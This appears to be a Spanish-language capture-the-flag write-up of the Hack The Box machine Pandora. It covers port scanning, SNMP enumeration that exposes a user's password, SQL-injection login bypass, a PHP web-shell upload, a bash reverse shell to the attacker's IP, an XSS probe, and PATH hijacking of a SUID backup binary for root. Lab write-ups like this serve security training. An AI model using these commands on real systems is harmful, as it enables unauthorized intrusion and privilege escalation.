RECONOCIMIENTO

Para la fase de reconocimiento vamos a usar la herramienta nmap.

Vamos a realizar un escaneo del total de puertos existentes de la máquina Pandora por el protocolo TCP filtrando por aquellos que estén abiertos, aplicando una plantilla de temporizado y rendimiento agresiva e indicando que no queremos que nos aplique resolución DNS para evitar demoras en nuestro escaneo.

nmap -p- --open -T5 -n -v 10.10.11.136

A continuación vamos a lanzar una serie de scripts básicos de enumeración propios de la herramienta y vamos a tratar de detectar las versiones y los servicios de los puertos que el comando anterior nos ha detectado como abiertos. Procedemos a guardar el output en un fichero que llamaremos targeted para poder volver a consultarlo durante el resto de la intrusión.

nmap -sCV -p22,80 -oN targeted 10.10.11.136

Para tener un escaneo más completo, vamos a proceder a la búsqueda de puertos abiertos por el protocolo UDP. Para que no se demore mucho el reconocimiento tendremos que filtrar nuestra busqueda a los 100 puertos mas comunes.

nmap -sU --open --top-ports 100 -T5 -v -n 10.10.11.136

Vemos que tenemos un puerto UDP abierto, el 161. Ahora por último vamos a lanzar una serie de scripts de enumeración y vamos a tratar de detectar la versión del servicio que corre en este puerto. Lo vamos a guardar en un fichero con el nombre UDPScan161.

nmap -sUCV -p161 10.10.11.136 -oN UDPScan161

Como el output del comando es bastante extenso no voy a subir ninguna imagen de él pero lo retomaremos si no conseguimos la intrusión por ningún puerto TCP.

Puerto 161 UDP – SNMP (Simple Network Management Protocol) es un protocolo de la capa de aplicación que facilita el intercambio de información de administración entre dispositivos de red. Permite a los administradores supervisar el desempeño de la red, buscar y resolver sus problemas, y planear su crecimiento.

EXPLOTACIÓN

Puerto 80 – HTTP

Si analizamos con la herramienta WhatWeb la página web podemos ver que nos devuelve información de relevancia como un posible nombre de dominio (panda.htb).

Vamos a agregar este nombre de dominio a nuestro archivo /etc/hosts y a asociarlo con la dirección IP.

echo -e "10.10.11.136\panda.htb" >> /etc/hosts

Si echamos un vistazo a la página, ya sea poniendo la IP en el navegador o poniendo el nombre de dominio, vemos que ambas nos devuelven lo mismo por lo que podemos afirmar que no se está aplicando Virtual Hosting.

Inspeccionando la página web vemos que únicamente podemos interactuar con un formulario que existe al final de ella. Nos da la opción de rellenar datos y mandarlos en forma de mensaje. Vamos a probar si es vulnerable a un posible XSS Attack tratando de forzar la carga de un archivo de nuestra máquina local. Rellenaríamos los campos de nombre, email y teléfono y en el último campo probariamos a forzar la carga de un archivo y nos pondremos en escucha con Python3 para ver si se nos realiza alguna petición GET.

python3 -m http.server 80   #En nuestra terminal
<script src="http://10.10.14.9/cogemeesto.js"></script>    #En el box del mensaje en la web

Vemos que no nos llega ninguna petición por lo que podemos deducir que la intrusión no va por aquí.

A continuación vamos a proceder a la enumeración de posibles subdominios que existan en el servidor web. Para ello usaremos la herramienta Wfuzz.

wfuzz -c --hh=33560 -t 200 -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt -H "Host: FUZZ.panda.htb" http://panda.htb

Como nos salen todos los resultados como falsos positivos vamos a ocultar aquellas peticiones que devuelvan en su respuesta 33560 caracteres.

Vemos que tampoco hemos tenido suerte y no hemos descubierto ningún subdominio.

Por último probaremos a la enumeración de directorios existentes en la página web mediante el uso de la herramienta GoBuster.

gobuster dir -u http://panda.htb -w /usr/share/wordlists/directory-list-2.3-medium.txt -t 200

Encontramos únicamente dos directorios en nuestra búsqueda pero ninguno de los dos nos va a aportar nada relevante en nuestra intrusión.

Parece que la intrusión no podemos continuarla por este puerto así que vamos a probar por el puerto UDP que nmap nos identificó como abierto.

Puerto 161 (UDP) – SNMP

En ocasiones cuando el puerto 161 UDP está expuesto en una máquina podemos obtener numerosa información acerca de ella. Esto va a depender de la Community String que esté en uso y también del nivel de seguridad de la versión de SNMP que se esté empleando.

Mediante la herramienta OneSixtyOne vamos a realizar un escaneo mediante fuerza bruta de las posibles Community Strings existentes:

onesixtyone -c /usr/share/seclists/Discovery/SNMP/common-snmp-community-strings-onesixtyone.txt 10.10.11.136

Observamos que nos detecta Public como existente, así que mediante la herramienta snmpwalk vamos a extraer toda la información posible acerca de la máquina víctima.

snmpwalk -c public -v2c 10.10.11.136 > snmp_scan

Si leemos detalladamente el archivo que hemos creado, podemos observar que nos aporta información relevante de la máquina como información de red, puertos a la escucha, procesos que están corriendo en la máquina, sus rutas y los parámetros que se han utilizado.

Podemos ver un proceso que está ejecutando un script (/usr/bin/host_check) al cual como parámetros se les pasa un usuario y una contraseña. Esto supone una brecha de información sensible y la podemos utilizar para probar un acceso remoto por SSH como el supuesto usuario Daniel.

Puerto 22 – SSH (Usuario Daniel)

Vamos a conectarnos de forma remota a la máquina mediante el protocolo SSH como el usuario Daniel.

sshpass -p HotelBabylon23 ssh daniel@10.10.11.136

Realizando una pequeña enumeración del sistema podemos ver que además de nuestro usuario Daniel también existe un usuario llamado Matt que contiene la flag del usuario que necesitamos pero que no tenemos de momento permisos para leerla. Vamos a tener que pivotar al usuario Matt para poder hacernos con la flag.

Si realizamos una enumeración de los servidores webs existentes observamos que además del que hemos podido acceder desde nuestro equipo por el puerto 80, tenemos otro llamado Pandora que únicamente está escuchando en el puerto 80 local y está hosteado en la ruta /var/www/pandora.

cd /etc/apache2/sites-enabled/
cat 000-default.conf
cat pandora.conf

Podemos corroborarlo y obtener información si realizamos una petición GET al servidor web.

curl -s -X GET "http://localhost"
curl -s -X GET "http://localhost/pandora_console/"

Vemos por la información que nos devuelve el output que se trata de una especie de web que nos da acceso a un sistema de monitorización. Para poder ver todas las funcionalidades de la web y poder interactuar con ella necesitamos realizar un Local Port Forwarding.

Un Local Port Forwarding consiste en reenviar un puerto local a un host remoto. En este caso como no tenemos acceso de forma remota al puerto 80 local de la máquina Pandora, vamos a crear una conexión desde un cliente SSH desde nuestra IP al servidor SSH de la máquina Pandora. En esta conexión tendremos que especificar un puerto local como puerto origen y el puerto 80 local de la máquina Pandora como puerto destino. Así habremos creado el túnel local. Gracias a esto, cuando en nuestra máquina local apuntemos al puerto origen seleccionado, lo que veremos será el puerto 80 remoto de la máquina Pandora.

sshpass -p HotelBabylon23 ssh daniel@10.10.11.136 -L 80:127.0.0.1:80

Si ahora realizamos una petición GET con nuestro navegador a nuestro puerto 80 tendremos acceso a la web.

Si nos fijamos en el footer de la web, podemos ver la versión del software así que vamos a buscar en GitHub si existen exploits públicos para esta versión.

Encontramos uno que de forma no autenticada nos permite mediante una inyección SQL impersonar al administrador del software y así poder subir un archivo PHP.

Si inspeccionamos el código escrito en Python3 vemos la inyección que realiza para impersonar al administrador. Nos la copiamos y la metemos en nuestro navegador.

Vemos que al realizar la petición el status code es 200 por lo que parece que ha sido existoso. Si volvemos a recargar nuestro localhost vemos que tenemos acceso como Administrador al panel de administración del software y que hemos bypasseado el Login.

Si seguimos analizando el código del script podemos ver que existe una ruta que nos permite la subida de archivos:

http://127.0.0.1/pandora_console/index.php?sec=gextensions&sec2=godmode/setup/file_manager

Vamos a crear un archivo PHP que nos permita ejecutar comandos, lo subiremos al servidor web y veremos si este nos interpreta php y podemos obtener una Reverse Shell.

Una vez subido si clickamos en él nos lo descarga pero vemos que la ruta de donde lo coge nos aparece codificada en Base64.

echo "L3BhbmRvcmFfY29uc29sZS9pbWFnZXMvc2hlbGwucGhw&hash=0e4b1f850c839af994e697c9bd678511" | base64 -d

Vemos que el archivo reside en “/pandora_console/images/shell.php” así que vamos a realizar una petición a esa ruta añadiendo el parámetro CMD que hemos indicado en nuestro script PHP y así ya tendríamos ejecución de comandos de forma remota.

Nos ponemos en escucha con netcat en el puerto 443 y le pasamos al parámetro cmd el siguiente comando en el navegador para entablarnos una conexión.

nc -lvnp 443
http://127.0.0.1/pandora_console/images/shell.php?cmd=bash -c "bash -i >%26 /dev/tcp/10.10.14.9/443 0>%261" #En el navegador

Ya somos el usuario Matt

Puerto 22 TCP – SSH (Usuario Matt)

Ya somos el usuario Matt pero no tenemos una shell interactiva y no podemos usar shortcuts ni tenemos un prompt en nuestra terminal. Además las dimensiones no están correctamente ajustadas. Vamos a realizar una serie de comandos para obtener una shell interactiva.

script /dev/null -c bash
^z #Poner en segundo plano
stty raw -echo;fg
        reset xterm

export TERM=xterm
export SHELL=bash
stty rows 52 columns 213

Si buscamos archivos con permisos SUID para intentar elevar privilegios, encontramos un archivo llamado pandora_backup que llama la atención.

find / \-perm -4000 2>/dev/null

Si lo intentamos ejecutar podemos observar que a pesar de tener permisos SUID no nos deja ejecutarlo y nos salta un error. Ademas si corremos el comando sudo -l también nos da un error.

Si buscamos un poco por internet acerca del origen del error, nos sale que puede ser debido a un modulo de Apache2 llamado mpm-itk que previene la ejecución de binarios SUID en shells que son procesos secundarios del proceso Apache.

Para poder correr el binario SUID necesitamos acceso como el usuario Matt de una forma que no sea una reverse shell desde la web. Para ello vamos a crear unas claves SSH y nos conectaremos de forma remota como Matt.

ssh-keygen
cd /home/matt/.ssh
cat id_rsa.pub > authorized_keys
chmod 600 authorized_keys

Nos copiamos la id_rsa y la copiamos en nuestro equipo y le asignamos el permiso 600, para poder conectarnos como el usuario a la máquina Pandora.

ssh -i id_rsa matt@10.10.11.136

ESCALADA DE PRIVILEGIOS

Ya tenemos una sesión SSH como el usuario Matt. Ahora vamos a volver a correr el binario SUID anteriormente encontrado.

/usr/bin/pandora_backup

Parece que es un binario que lo que realiza es un Backup de archivos del servidor web de Pandora. Vemos al principio que aparece el comando tar. Si este comando no estuviese referenciado mediante su ruta absoluta en el binario, sería un gran fallo de seguridad del que podríamos aprovecharnos para hacer un secuestro del PATH y obtener una shell como ROOT.

Para poder verlo usariamos el comando Strings pero vemos que no esta instalado en la máquina. En su defecto vamos a usar el comando ltrace.

ltrace /usr/bin/pandora_backup

Vemos que no es usada la ruta absoluta para llamar al comando tar por lo que intentaremos realizar la escalada de privilegios realizando un PATH HIJACKING.

PATH HIJACKING: Se trata de crear un archivo en un ruta que no este en el PATH del usuario con las órdenes que deseamos ejecutar y llamarlo de la misma manera que el binario al que no se está llamando mediante su ruta absoluta. Una vez esto debemos meter en el PATH del usuario la ruta donde hemos creado nuestro archivo malicioso y así cuando el programa se ejecute y se llame al binario, será utilizado el que nosotros hemos creado.

Vamos a ir a una ruta donde tengamos permisos de escritura como por ejemplo /tmp. Creamos un archivo llamado tar y en el vamos a escribir el código que queremos ejecutar (en este caso queremos una shell así que escribiremos /usr/bin/sh) Vamos a introducir la ruta /tmp en el PATH del usuario. Vamos a ejecutar el binario SUID pandora_backup.

cd /tmp 
echo "/usr/bin/sh" > tar
chmod +x tar
export PATH=/tmp:$PATH
pandora_backup

Ya tenemos una shell como el usuario ROOT y tenemos pleno control del sistema. Lo último a realizar sería consultar las flags del usuario y de root para copiarlas y subirlas a la página de HTB para finalizar la intrusión a la máquina.